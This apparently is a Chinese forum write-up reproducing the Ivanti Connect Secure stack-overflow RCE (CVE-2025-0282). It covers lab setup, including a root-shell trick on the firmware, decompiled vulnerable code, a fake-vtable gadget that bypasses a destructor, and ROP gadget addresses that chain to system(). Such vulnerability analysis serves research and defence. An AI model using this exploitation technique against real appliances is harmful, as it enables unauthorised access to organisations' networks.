Ivanti Connect Secure RCE (CVE-2025-0282)-网络安全论坛-网络安全-阻击者联盟

Ivanti Connect Secure RCE (CVE-2025-0282)

前言:刚从学校回家准备实习,看着积灰很久的电脑(没复现cve的电脑),于是准备重新学下看到了今年出的cve ,于是来复现下,就是漏洞环境难崩呜呜,参考了网上的一些文章来复现

原文连接:https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/

本篇水的一篇文章,因为没啥可学的拉,就学学这里的利用技巧

分析过程

环境搭建

首先这里先从官网下载下固件 固件形式是ova

从虚拟机导入即可

版本是Ivanti Connect Secure 22.7R2.3

设置好ip 在浏览器直接访问就行

这个固件的被加密了,参考了网上一些博主的学习方式,通过修改/home/bin/dsconfig.pl它的值为///////////////bin/sh 回车即可获取最高权限shell

然后使用python -m http.server  进行下载即可

 

漏洞分析

该漏洞具体存在于二进制 /home/bin/web 中,该二进制文件处理 Ivanti Connect Secure 设备的所有传入 HTTP 请求和 VPN 协议(包括 IFT TLS)。

请求包逆向下

d2b5ca33bd20250530171431

它的格式是如下:

clientHostName=BishopFox
clientIp=xxxx
clientCapabilities=xxx

关键性代码如下:

2:  int __cdecl ift_handle_1(int a1, IftTlsHeader *a2, char *a3)
 3:  {
 4:  
 5:      int v18;
 6:      int v19;
 7:      char dest[256]; // [esp+120h] [ebp-8ECh] BYREF
 8:      char object_to_be_freed[4]; // [esp+220h] [ebp-7ECh] BYREF
 9:      void *ptr; // [esp+224h] [ebp-7E8h]
10:      int v20; // [esp+228h] [ebp-7E4h]
11:      int v21; // [esp+22Ch] [ebp-7E0h]
12:      int v22; // [esp+230h] [ebp-7DCh]
13:      char v23; // [esp+234h] [ebp-7D8h]
14:      char v24; // [esp+235h] [ebp-7D7h]
15:      void *v25; // [esp+23Ch] [ebp-7D0h]
16:      _DWORD v26[499]; // [esp+240h] [ebp-7CCh] BYREF
17:  
18:  
19:      [..SNIP..]
20:  
21:  
22:      clientCapabilities = getKey(req, "clientCapabilities");
23:      if ( clientCapabilities != NULL )
24:      {
25:        clientCapabilitiesLength = strlen(clientCapabilities);
26:        if ( clientCapabilitiesLength != 0 )
27:  	      connInfo->clientCapabilities = clientCapabilities;
28:        }
29:      }
30:      memset(dest, 0, sizeof(dest));
31:      strncpy(dest, connInfo->clientCapabilities, clientCapabilitiesLength);
32:  
33:      v24 = 46;
34:      v25 = &v57;
35:      if ( ((unsigned __int8)&v57 & 2) != 0 )
36:      {
37:        LOBYTE(v24) = 44;
38:        v57 = 0;
39:        v25 = (__int16 *)&v58;
40:      }
41:      memset(v25, 0, 4 * (v24 >> 2));
42:      v26 = &v25[2 * (v24 >> 2)];
43:      if ( (v24 & 2) != 0 )
44:        *v26 = 0;
45:      na = 46;
46:  
47:  
48:      (*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);   
49:  
50:  
51:      isValid = 1;
52:      EPMessage::~EPMessage((EPMessage *)v18);
53:      DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);
54:      return isValid;
55:  
56:  
57:  }

通过逆向分析,在获取clientCapabilities值后 会利用strncpy  赋值到dest,而它的clientCapabilitiesLength是根据它的内容长度来确定的,也就是可控,那么最直接的思路就是覆盖返回地址为我们的可控rop即可执行,但实际上我们无法成功执行我们的rop,因为最后会有一个DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)object_to_be_freed);   它会释放掉

但是,此代码利用了位于 dest 缓冲区之后堆栈上的变量,并且鉴于此对象在返回完成之前被销毁,它会导致函数由于地址无效而引发异常。object_to_be_freedfree()

然后我们惊奇的发现在第 48 行,取消引用 a1 变量,然后调用偏移量 72(或0x48十六进制)处的虚函数。

(*(void (__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 0x48))(a1, &v22);

反汇编出来的汇编代码

mov     eax, [esp+0A0Ch+arg_0]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]

很明显这里实现了虚函数调用,如果一直覆盖覆盖了它,那么它可能会导致后面的出问题,我们需要在libc里找一个合适的rop来保持正常,这里的eax最终就是控制的执行地址,通过栈上的内容来控制,我们覆盖对应栈上的内容 进行一个函数的call

下面是整体架构

+--------------------------+
| *this Pointer            |
+--------------------------+
       |
       v
+--------------------------+
| vtable Address           | <- Points to the vtable
+--------------------------+
       |
       v
+--------------------------+
| vtable (Virtual Table)   | <- Array of pointers to virtual functions
+--------------------------+
| *Function[0x04]          |
+--------------------------+
| *Function[0x08]          |
+--------------------------+
| *Function[0x0C]          |
+--------------------------+
|       ...                |
+--------------------------+
| *Function[0x48]          | <- Points to a sequence of x86 instructions
+--------------------------+
       |
       v
+--------------------------+
| Function[0x48] Prologue  |
+--------------------------+
| push ebp                 | <- Save base pointer
+--------------------------+
| mov ebp, esp             | <- Set base pointer
+--------------------------+
| sub esp, 0x20            | <- Allocate stack space
+--------------------------+
| ...                      | <- Additional instructions
+--------------------------+

通过调试发现,它的指针this其实在return Address之后,但由于这个虚函数调用是在销毁之前进行调用,那么我们可以在它之前进行调用使它的销毁返回值为-1  ,这个返回值就是eax,思路通过虚函数调用 来引用控制它的1为-1就可以了,当销毁的时候返回-1,就默认往后执行了,这时候我们需要找个gadget  通过eax虚函数来进行间接调用

寻找了到了这个

+--------------------------+
| *fake_this Pointer       |
+--------------------------+
       |
       v
+--------------------------+
| fake_vtable Address      | <- Points to the vtable
+--------------------------+
       |
       v
+--------------------------+
| fake vtable              |
+--------------------------+
| *gadget_0[0x48]          | <- Points to a sequence of x86 instructions
+--------------------------+
       |
       v
+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------+

通过这个rop 能够控制住了下面销毁eax它的返回值为-数,又能

过了销毁这一关接下来就可以执行返回地址的恶意函数rop了

现在已经实现了如下:

  • 实现eip控制
  • 无限制的rop了
  • rop到我们想要的地方

接下来就可以这样进行了

mov_eax_esp_ret = p32(0xf29e92c3)   # mov eax, esp; ret
add_eax_8_ret = p32(0xf5068858)     # add eax, 8; ret; 
add_eax_8_ret = p32(0xf5068858)     # add eax, 8; ret; 
add_eax_8_ret = p32(0xf5068858)     # add eax, 8; ret; 
add_eax_8_ret = p32(0xf5068858)     # add eax, 8; ret; 
pop_esi_ret = p32(0xf4f5de27)       # pop esi; ret;
esi = p32(0xf5a07d40)               # system
set_arg_call_esi = p32(0xf4f5e265)  # mov dword ptr [esp], eax; call esi;

即可rce

 

请登录后发表评论

    没有回复内容